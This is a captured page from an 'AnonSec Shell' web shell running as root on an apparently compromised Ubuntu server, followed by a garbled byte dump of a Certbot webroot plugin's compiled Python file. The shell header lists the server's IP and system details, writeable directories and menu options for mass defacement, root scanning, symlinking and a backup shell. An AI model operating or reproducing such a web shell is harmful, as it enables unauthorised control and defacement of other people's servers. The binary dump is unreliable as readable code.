AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/certbot/_internal/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/certbot/_internal/plugins/__pycache__/webroot.cpython-310.pyc
o

6��a�9�@sJdZddlZddlZddlZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZe� e!�Z"dZ#dgZ$Gdd�dej%ej&�Z&Gdd�dej'�Z(Gdd�dej'�Z)dd�Z*dS)zWebroot plugin.�N)�DefaultDict)�Dict)�List)�Set)�
challenges)�crypto_util)�errors)�
interfaces)�cli)�"KeyAuthorizationAnnotatedChallenge)�
filesystem)�os)�ops)�util)�common)�	safe_openz�<?xml version="1.0" encoding="UTF-8" ?>
<!--Generated by Certbot-->
<configuration>
  <system.webServer>
      <staticContent>
          <mimeMap fileExtension="." mimeType="text/plain" />
      </staticContent>
  </system.webServer>
</configuration>
�@20c5ca1bd58fa8ad5f07a2f1be8b7cbb707c20fcb607a8fc8db9393952846a97cs�eZdZdZdZdZdd�Zedd��Zdd	�Z	d
d�Z
�fdd
�Zdd�Zdd�Z
dd�Zdd�Zdd�Zd#dd�Zdd�Zdd�Zdd �Zd!d"�Z�ZS)$�
AuthenticatorzWebroot Authenticator.z Place files in webroot directoryz�Authenticator plugin that performs http-01 challenge by saving
necessary validation resources to appropriate paths on the file
system. It expects that there is some other HTTP server configured
to serve all files under specified web root ({0}).cCs|j�|�d��S)N�path)�	MORE_INFO�format�conf��self�r�C/usr/lib/python3/dist-packages/certbot/_internal/plugins/webroot.py�	more_info8szAuthenticator.more_infocCs&|ddgtdd�|ditdd�dS)Nrz-wapublic_html / webroot path. This can be specified multiple times to handle different domains; each domain will have the webroot path that preceded it.  For instance: `-w /var/www/example -d example.com -d www.example.com -w /var/www/thing -d thing.net -d m.thing.net` (default: Ask))�default�action�help�mapa�JSON dictionary mapping domains to webroot paths; this implies -d for each entry. You may need to escape this from your shell. E.g.: --webroot-map '{"eg1.is,m.eg1.is":"/www/eg1/", "eg2.is":"/www/eg2"}' This option is merged with, but takes precedence over, -w / -d entries. At present, if you put webroot-map in a config file, it needs to be on a single line, like: webroot-map = {"example.com":"/var/www"}.)�_WebrootPathAction�_WebrootMapAction)�cls�addrrr�add_parser_arguments;s
�
�z"Authenticator.add_parser_argumentscCsdS)Nz�The Certificate Authority failed to download the temporary challenge files created by Certbot. Ensure that the listed domains serve their content from the provided --webroot-path/-w and that files created there can be downloaded from the internet.r)r�failed_achallsrrr�	auth_hintM�zAuthenticator.auth_hintcCstjgS�N)r�HTTP01)r�domainrrr�get_chall_prefSszAuthenticator.get_chall_prefcs.t�j|i|��i|_t�t�|_g|_dSr))�super�__init__�
full_roots�collections�defaultdict�set�	performed�
_created_dirs�r�args�kwargs��	__class__rrr.Ws
zAuthenticator.__init__cCsdSr)rrrrr�prepare^r(zAuthenticator.preparecs$��|�����fdd�|D�S)Ncsg|]}��|��qSr)�_perform_single)�.0�achallrrr�
<listcomp>fsz)Authenticator.perform.<locals>.<listcomp>)�
_set_webroots�_create_challenge_dirs)r�achallsrrr�performas
zAuthenticator.performc	Cs�|�d�r#|�d�d}t�d|�|D]}|�d��|j|�qdStt|�d�����}|D]0}|j|�d�vr`|�|j|�}z|�	|�Wn	t
yQYnw|�d|�||�d�|j<q0dS)Nr���z4Using the webroot path %s for all unmatched domains.r r)r�logger�info�
setdefaultr+�listr2�values�_prompt_for_webroot�remove�
ValueError�insert)rrA�webroot_pathr=�known_webroots�new_webrootrrrr?hs.
������zAuthenticator._set_webrootscCsHd}|dur"|r|�||�}|dur|�|�}n|�|d�}|dus|S)NT)�_prompt_with_webroot_list�_prompt_for_new_webroot)rr+rN�webrootrrrrI~s
��
z!Authenticator._prompt_for_webrootcCs^d|�d�}	tjd�|�dg||dd�\}}|tjkr#t�d��|dkr)dS||d	S)
Nz--rTzSelect the webroot for {0}:zEnter a new webroot)�cli_flag�force_interactive�IEvery requested domain must have a webroot when using the webroot plugin.r�)�option_name�display_util�menur�CANCELr�PluginError)rr+rN�	path_flag�code�indexrrrrP�s
�
�z'Authenticator._prompt_with_webroot_listFcCs>tjtd�|�dd�\}}|tjkr|sdSt�d��t|�S)NzInput the webroot for {0}:T)rTrU)r�validated_directory�_validate_webrootrrXrZrr[)rr+�
allowraiser]rRrrrrQ�s
�
�z%Authenticator._prompt_for_new_webrootc	Cs�|�d�}|st�d��|��D]�\}}tj�|tj�tj	j
��|j|<t�
d|j|�t�d�}zptt�|j|�dd�td�D]X}tj�|�rLqCz:t�|d�|j�|�ztj||dddd	�Wnttfy�}zt�d
�t�
d|�WYd}~nd}~wwWqCty�}z	t�d�||���d}~wwWt�|�nt�|�wtjs�tj�|j|d
�}tj�|�r�t�d|j|�dSt�d|j|�t |ddd��
}|�!t"�Wd�n1s�wYqdS)Nr z�Missing parts of webroot configuration; please set either --webroot-path and --domains, or --webroot-map. Run with  --help webroot for examples.z-Creating root challenges validation dir at %s�rC)�keyi�T)�	copy_user�
copy_groupz3Unable to change owner and uid of webroot directory�
Error was: %sz=Couldn't create root for {0} http-01 challenge responses: {1}�
web.configzPA web.config file has not been created in %s because another one already exists.zGCreating a web.config file in %s to allow IIS to serve challenge files.�w���mode�chmod)#rrr[�itemsr
r�join�normcaserr*�
URI_ROOT_PATHr/rD�debugr�umask�sortedr�get_prefixes�len�isdir�mkdirr4�append�copy_ownership_and_apply_mode�OSError�AttributeError�warningr�
POSIX_MODE�existsrEr�write�_WEB_CONFIG_CONTENT)	r�path_map�namer�	old_umask�prefix�	exception�web_config_path�
web_configrrrr@�sl
���
$

�
������������z$Authenticator._create_challenge_dirscCstj�||j�d��S)N�token)r
rrn�chall�encode)r�	root_pathr=rrr�_get_validation_path�sz"Authenticator._get_validation_pathc	Cs�|��\}}|j|j}|�||�}t�d|�t�d�}z%t|ddd��}|�	|�
��Wd�n1s7wYWt�|�nt�|�w|j|�|�|S)Nz#Attempting to save validation to %srb�wbrirj)
�response_and_validationr/r+r�rDrqrrrrrr�r3r$)rr=�response�
validationr��validation_pathr��validation_filerrrr;�s
��zAuthenticator._perform_singlec

Cs0|D]R}|j�|jd�}|durT|�||�}t�d|�t�|�|j|�|�t	j
sTtj�|d�}tj�
|�rTt�|�}|tvrNt�d|�t�|�qt�d|�qg}|jr�|j��}zt�|�Wn$ty�}	z|�d|�t�d|�t�d|	�WYd}	~	nd}	~	ww|jsZ||_t�d�dS)	NzRemoving %srgz4Cleaning web.config file generated by Certbot in %s.zQNot cleaning up the web.config file in %s because it is not generated by Certbot.rz3Challenge directory %s was not empty, didn't removerfzAll challenges cleaned up)r/�getr+r�rDrqr
rJr3rr}rrnr~r�	sha256sum�_WEB_CONFIG_SHA256SUMSrEr4�pop�rmdirrzrL)
rrAr=r�r�r�r��not_removedr�excrrr�cleanup�sD

���
���zAuthenticator.cleanup)F)�__name__�
__module__�__qualname__�__doc__�descriptionrr�classmethodr%r'r,r.r:rBr?rIrPrQr@r�r;r��
__classcell__rrr8rr-s(


:rc@seZdZdZddd�ZdS)r"z%Action class for parsing webroot_map.NcsFt�|���D]\}�t���|j��fdd�t�||�D��qdS)Nc3s�|]}|�fVqdSr)r)r<�d�rMrr�	<genexpr>!s�
�z-_WebrootMapAction.__call__.<locals>.<genexpr>)�json�loadsrmr`�webroot_map�updater
�add_domains)r�parser�	namespacer��
option_string�domainsrr�r�__call__s

��z_WebrootMapAction.__call__r))r�r�r�r�r�rrrrr"sr"cs*eZdZdZ�fdd�Zddd�Z�ZS)r!z&Action class for parsing webroot_path.cst�j|i|��d|_dS)NF)r-r.�_domain_before_webrootr5r8rrr.(s
z_WebrootPathAction.__init__NcCs\|jrt�d��|jr|jd}|jD]	}|j�||�qn|jr$d|_|j�t|��dS)NzPIf you specify multiple webroot paths, one of them must precede all domain flagsrCT)	r�rr[rMr�r�rFrxr`)rr�r�rMr��prev_webrootr+rrrr�,s�

�z_WebrootPathAction.__call__r))r�r�r�r�r.r�r�rrr8rr!%sr!cCs&tj�|�s
t�|d��tj�|�S)z�Validates and returns the absolute path of webroot_path.

    :param str webroot_path: path to the webroot directory

    :returns: absolute path of webroot_path
    :rtype: str

    z% does not exist or is not a directory)r
rrvrr[�abspathr�rrrr`>s	r`)+r��argparser0r��logging�typingrrrr�acmer�certbotrrr	�certbot._internalr
�certbot.achallengesr�AnnotatedChallenge�certbot.compatrr
�certbot.displayrrrX�certbot.pluginsr�certbot.utilr�	getLoggerr�rDr�r��Pluginr�Actionr"r!r`rrrr�<module>s<
o


Anon7 - 2022
AnonSec Team